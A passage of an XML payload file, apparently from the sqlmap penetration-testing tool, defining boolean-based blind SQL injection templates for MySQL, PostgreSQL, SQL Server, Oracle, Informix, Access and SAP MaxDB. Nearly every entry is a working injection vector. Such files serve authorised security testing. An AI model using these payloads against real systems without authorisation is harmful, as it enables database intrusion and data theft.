|
<stype>1</stype>
|
|
<level>5</level>
|
|
<risk>1</risk>
|
|
<clause>1,2,3</clause>
|
|
<where>3</where>
|
|
<vector>([INFERENCE])*[ORIGVALUE]</vector>
|
|
<request>
|
|
<payload>([RANDNUM]=[RANDNUM])*[ORIGVALUE]</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>([RANDNUM]=[RANDNUM1])*[ORIGVALUE]</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>MySQL</dbms>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>PostgreSQL boolean-based blind - Parameter replace</title>
|
|
<stype>1</stype>
|
|
<level>3</level>
|
|
<risk>1</risk>
|
|
<clause>1,2,3</clause>
|
|
<where>3</where>
|
|
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 1/(SELECT 0) END))</vector>
|
|
<request>
|
|
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 1/(SELECT 0) END))</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 1/(SELECT 0) END))</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>PostgreSQL</dbms>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>PostgreSQL boolean-based blind - Parameter replace (original value)</title>
|
|
<stype>1</stype>
|
|
<level>4</level>
|
|
<risk>1</risk>
|
|
<clause>1,2,3</clause>
|
|
<where>3</where>
|
|
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END))</vector>
|
|
<request>
|
|
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END))</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END))</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>PostgreSQL</dbms>
|
|
</details>
|
|
</test>
|
|
|
|
<!-- Because of the syntax of GENERATE_SERIES() function, the 'then' condition must be 1, do not change it -->
|
|
<test>
|
|
<title>PostgreSQL boolean-based blind - Parameter replace (GENERATE_SERIES)</title>
|
|
<stype>1</stype>
|
|
<level>5</level>
|
|
<risk>1</risk>
|
|
<clause>1,2,3</clause>
|
|
<where>3</where>
|
|
<vector>(SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1)</vector>
|
|
<request>
|
|
<payload>(SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1)</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>(SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 0 END) LIMIT 1)</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>PostgreSQL</dbms>
|
|
</details>
|
|
</test>
|
|
|
|
<!-- Because of the syntax of GENERATE_SERIES() function, the 'then' condition must be 1, do not change it -->
|
|
<test>
|
|
<title>PostgreSQL boolean-based blind - Parameter replace (GENERATE_SERIES - original value)</title>
|
|
<stype>1</stype>
|
|
<level>5</level>
|
|
<risk>1</risk>
|
|
<clause>1,2,3</clause>
|
|
<where>3</where>
|
|
<vector>(SELECT [ORIGVALUE] FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1)</vector>
|
|
<request>
|
|
<payload>(SELECT [ORIGVALUE] FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1)</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>(SELECT [ORIGVALUE] FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 0 END) LIMIT 1)</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>PostgreSQL</dbms>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>Microsoft SQL Server/Sybase boolean-based blind - Parameter replace</title>
|
|
<stype>1</stype>
|
|
<level>3</level>
|
|
<risk>1</risk>
|
|
<clause>1,3</clause>
|
|
<where>3</where>
|
|
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))</vector>
|
|
<request>
|
|
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>Microsoft SQL Server</dbms>
|
|
<dbms>Sybase</dbms>
|
|
<os>Windows</os>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>Microsoft SQL Server/Sybase boolean-based blind - Parameter replace (original value)</title>
|
|
<stype>1</stype>
|
|
<level>4</level>
|
|
<risk>1</risk>
|
|
<clause>1,3</clause>
|
|
<where>3</where>
|
|
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))</vector>
|
|
<request>
|
|
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>Microsoft SQL Server</dbms>
|
|
<dbms>Sybase</dbms>
|
|
<os>Windows</os>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>Oracle boolean-based blind - Parameter replace</title>
|
|
<stype>1</stype>
|
|
<level>3</level>
|
|
<risk>1</risk>
|
|
<clause>1,3</clause>
|
|
<where>3</where>
|
|
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)</vector>
|
|
<request>
|
|
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>Oracle</dbms>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>Oracle boolean-based blind - Parameter replace (original value)</title>
|
|
<stype>1</stype>
|
|
<level>4</level>
|
|
<risk>1</risk>
|
|
<clause>1,3</clause>
|
|
<where>3</where>
|
|
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)</vector>
|
|
<request>
|
|
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>Oracle</dbms>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>Informix boolean-based blind - Parameter replace</title>
|
|
<stype>1</stype>
|
|
<level>3</level>
|
|
<risk>1</risk>
|
|
<clause>1,3</clause>
|
|
<where>3</where>
|
|
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 1/0 END) FROM SYSMASTER:SYSDUAL)</vector>
|
|
<request>
|
|
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 1/0 END) FROM SYSMASTER:SYSDUAL)</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 1/0 END) FROM SYSMASTER:SYSDUAL)</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>Informix</dbms>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>Informix boolean-based blind - Parameter replace (original value)</title>
|
|
<stype>1</stype>
|
|
<level>4</level>
|
|
<risk>1</risk>
|
|
<clause>1,3</clause>
|
|
<where>3</where>
|
|
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM] END) FROM SYSMASTER:SYSDUAL)</vector>
|
|
<request>
|
|
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM] END) FROM SYSMASTER:SYSDUAL)</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM] END) FROM SYSMASTER:SYSDUAL)</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>Informix</dbms>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>Microsoft Access boolean-based blind - Parameter replace</title>
|
|
<stype>1</stype>
|
|
<level>3</level>
|
|
<risk>1</risk>
|
|
<clause>1,3</clause>
|
|
<where>3</where>
|
|
<vector>IIF([INFERENCE],[RANDNUM],1/0)</vector>
|
|
<request>
|
|
<payload>IIF([RANDNUM]=[RANDNUM],[RANDNUM],1/0)</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>IIF([RANDNUM]=[RANDNUM1],[RANDNUM],1/0)</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>Microsoft Access</dbms>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>Microsoft Access boolean-based blind - Parameter replace (original value)</title>
|
|
<stype>1</stype>
|
|
<level>4</level>
|
|
<risk>1</risk>
|
|
<clause>1,3</clause>
|
|
<where>3</where>
|
|
<vector>IIF([INFERENCE],[ORIGVALUE],1/0)</vector>
|
|
<request>
|
|
<payload>IIF([RANDNUM]=[RANDNUM],[ORIGVALUE],1/0)</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>IIF([RANDNUM]=[RANDNUM1],[ORIGVALUE],1/0)</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>Microsoft Access</dbms>
|
|
</details>
|
|
</test>
|
|
|
|
<!-- Works in MySQL, Oracle, etc. -->
|
|
<test>
|
|
<title>Boolean-based blind - Parameter replace (DUAL)</title>
|
|
<stype>1</stype>
|
|
<level>2</level>
|
|
<risk>1</risk>
|
|
<clause>1,2,3</clause>
|
|
<where>3</where>
|
|
<vector>(CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END)</vector>
|
|
<request>
|
|
<payload>(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END)</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>(CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END)</comparison>
|
|
</response>
|
|
</test>
|
|
|
|
<test>
|
|
<title>Boolean-based blind - Parameter replace (DUAL) (original value)</title>
|
|
<stype>1</stype>
|
|
<level>3</level>
|
|
<risk>1</risk>
|
|
<clause>1,2,3</clause>
|
|
<where>3</where>
|
|
<vector>(CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END)</vector>
|
|
<request>
|
|
<payload>(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END)</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>(CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END)</comparison>
|
|
</response>
|
|
</test>
|
|
<!-- End of boolean-based blind tests - Parameter replace -->
|
|
|
|
<!-- Works in SAP MaxDB, Informix, etc. -->
|
|
<test>
|
|
<title>Boolean-based blind - Parameter replace (CASE)</title>
|
|
<stype>1</stype>
|
|
<level>2</level>
|
|
<risk>1</risk>
|
|
<clause>1,3</clause>
|
|
<where>3</where>
|
|
<vector>(CASE WHEN [INFERENCE] THEN [RANDNUM] ELSE NULL END)</vector>
|
|
<request>
|
|
<payload>(CASE WHEN [RANDNUM]=[RANDNUM] THEN [RANDNUM] ELSE NULL END)</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>(CASE WHEN [RANDNUM]=[RANDNUM1] THEN [RANDNUM] ELSE NULL END)</comparison>
|
|
</response>
|
|
</test>
|
|
|
|
<test>
|
|
<title>Boolean-based blind - Parameter replace (CASE) (original value)</title>
|
|
<stype>1</stype>
|
|
<level>3</level>
|
|
<risk>1</risk>
|
|
<clause>1,3</clause>
|
|
<where>3</where>
|
|
<vector>(CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE NULL END)</vector>
|
|
<request>
|
|
<payload>(CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE NULL END)</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>(CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE NULL END)</comparison>
|
|
</response>
|
|
</test>
|
|
<!-- End of boolean-based blind tests - Parameter replace -->
|
|
|
|
<!-- Boolean-based blind tests - ORDER BY, GROUP BY clause -->
|
|
<test>
|
|
<title>MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause</title>
|
|
<stype>1</stype>
|
|
<level>2</level>
|
|
<risk>1</risk>
|
|
<clause>2,3</clause>
|
|
<where>1</where>
|
|
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</vector>
|
|
<request>
|
|
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>MySQL</dbms>
|
|
<dbms_version>>= 5.0</dbms_version>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value)</title>
|
|
<stype>1</stype>
|
|
<level>3</level>
|
|
<risk>1</risk>
|
|
<clause>2,3</clause>
|
|
<where>1</where>
|
|
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</vector>
|
|
<request>
|
|
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>MySQL</dbms>
|
|
<dbms_version>>= 5.0</dbms_version>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause</title>
|
|
<stype>1</stype>
|
|
<level>3</level>
|
|
<risk>1</risk>
|
|
<clause>2,3</clause>
|
|
<where>1</where>
|
|
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</vector>
|
|
<request>
|
|
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>MySQL</dbms>
|
|
<dbms_version>< 5.0</dbms_version>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value)</title>
|
|
<stype>1</stype>
|
|
<level>4</level>
|
|
<risk>1</risk>
|
|
<clause>2,3</clause>
|
|
<where>1</where>
|
|
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</vector>
|
|
<request>
|
|
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>MySQL</dbms>
|
|
<dbms_version>< 5.0</dbms_version>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>PostgreSQL boolean-based blind - ORDER BY, GROUP BY clause</title>
|
|
<stype>1</stype>
|
|
<level>2</level>
|
|
<risk>1</risk>
|
|
<clause>2,3</clause>
|
|
<where>1</where>
|
|
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE 1/(SELECT 0) END))</vector>
|
|
<request>
|
|
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 1/(SELECT 0) END))</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 1/(SELECT 0) END))</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>PostgreSQL</dbms>
|
|
</details>
|
|
</test>
|
|
|
|
<!-- It exclusively works with ORDER BY -->
|
|
<test>
|
|
<title>PostgreSQL boolean-based blind - ORDER BY clause (original value)</title>
|
|
<stype>1</stype>
|
|
<level>4</level>
|
|
<risk>1</risk>
|
|
<clause>3</clause>
|
|
<where>1</where>
|
|
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END))</vector>
|
|
<request>
|
|
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END))</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END))</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>PostgreSQL</dbms>
|
|
</details>
|
|
</test>
|
|
|
|
<!--
|
|
TODO: this would work for GROUP BY too if sqlmap did not enclose string-based [ORIGVALUE] with single quotes, but then other payloads would break.
|
|
It already works for ORDER BY because it accepts int whereas GROUP BY only accepts format [table].[column] so [ORIGVALUE] must where it is
|
|
-->
|
|
<test>
|
|
<!-- <title>PostgreSQL boolean-based blind - ORDER BY, GROUP BY clause (GENERATE_SERIES - original value)</title> -->
|
|
<title>PostgreSQL boolean-based blind - ORDER BY clause (GENERATE_SERIES)</title>
|
|
<stype>1</stype>
|
|
<level>5</level>
|
|
<risk>1</risk>
|
|
<!-- <clause>2,3</clause> -->
|
|
<clause>3</clause>
|
|
<where>1</where>
|
|
<vector>,(SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1)</vector>
|
|
<request>
|
|
<payload>,(SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1)</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>,(SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 0 END) LIMIT 1)</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>PostgreSQL</dbms>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause</title>
|
|
<stype>1</stype>
|
|
<level>3</level>
|
|
<risk>1</risk>
|
|
<clause>3</clause>
|
|
<where>1</where>
|
|
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))</vector>
|
|
<request>
|
|
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>Microsoft SQL Server</dbms>
|
|
<dbms>Sybase</dbms>
|
|
<os>Windows</os>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause (original value)</title>
|
|
<stype>1</stype>
|
|
<level>4</level>
|
|
<risk>1</risk>
|
|
<clause>3</clause>
|
|
<where>1</where>
|
|
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))</vector>
|
|
<request>
|
|
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>Microsoft SQL Server</dbms>
|
|
<dbms>Sybase</dbms>
|
|
<os>Windows</os>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>Oracle boolean-based blind - ORDER BY, GROUP BY clause</title>
|
|
<stype>1</stype>
|
|
<level>3</level>
|
|
<risk>1</risk>
|
|
<clause>2,3</clause>
|
|
<where>1</where>
|
|
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)</vector>
|
|
<request>
|
|
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>Oracle</dbms>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>Oracle boolean-based blind - ORDER BY, GROUP BY clause (original value)</title>
|
|
<stype>1</stype>
|
|
<level>4</level>
|
|
<risk>1</risk>
|
|
<clause>2,3</clause>
|
|
<where>1</where>
|
|
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)</vector>
|
|
<request>
|
|
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>Oracle</dbms>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>Microsoft Access boolean-based blind - ORDER BY, GROUP BY clause</title>
|
|
<stype>1</stype>
|
|
<level>4</level>
|
|
<risk>1</risk>
|
|
<clause>2,3</clause>
|
|
<where>1</where>
|
|
<vector>,IIF([INFERENCE],1,1/0)</vector>
|
|
<request>
|
|
<payload>,IIF([RANDNUM]=[RANDNUM],1,1/0)</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>,IIF([RANDNUM]=[RANDNUM1],1,1/0)</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>Microsoft Access</dbms>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>Microsoft Access boolean-based blind - ORDER BY, GROUP BY clause (original value)</title>
|
|
<stype>1</stype>
|
|
<level>5</level>
|
|
<risk>1</risk>
|
|
<clause>2,3</clause>
|
|
<where>1</where>
|
|
<vector>,IIF([INFERENCE],[ORIGVALUE],1/0)</vector>
|
|
<request>
|
|
<payload>,IIF([RANDNUM]=[RANDNUM],[ORIGVALUE],1/0)</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>,IIF([RANDNUM]=[RANDNUM1],[ORIGVALUE],1/0)</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>Microsoft Access</dbms>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>SAP MaxDB boolean-based blind - ORDER BY, GROUP BY clause</title>
|
|
<stype>1</stype>
|
|
<level>4</level>
|
|
<risk>1</risk>
|
|
<clause>2,3</clause>
|
|
<where>1</where>
|
|
<vector>,(CASE WHEN [INFERENCE] THEN 1 ELSE NULL END)</vector>
|
|
<request>
|
|
<payload>,(CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE NULL END)</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>,(CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE NULL END)</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>SAP MaxDB</dbms>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>SAP MaxDB boolean-based blind - ORDER BY, GROUP BY clause (original value)</title>
|
|
<stype>1</stype>
|
|
<level>5</level>
|
|
<risk>1</risk>
|
|
<clause>2,3</clause>
|
|
<where>1</where>
|
|
<vector>,(CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE NULL END)</vector>
|
|
<request>
|
|
<payload>,(CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE NULL END)</payload>
|
|
</request>
|
|
<response>
|
|
<comparison>,(CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE NULL END)</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>SAP MaxDB</dbms>
|
|
</details>
|
|
</test>
|
|
<!-- End of boolean-based blind tests - ORDER BY, GROUP BY clause -->
|
|
|
|
<!-- Boolean-based blind tests - Stacked queries -->
|
|
<test>
|
|
<title>MySQL >= 5.0 boolean-based blind - Stacked queries</title>
|
|
<stype>1</stype>
|
|
<level>4</level>
|
|
<risk>1</risk>
|
|
<clause>0</clause>
|
|
<where>1</where>
|
|
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)</vector>
|
|
<request>
|
|
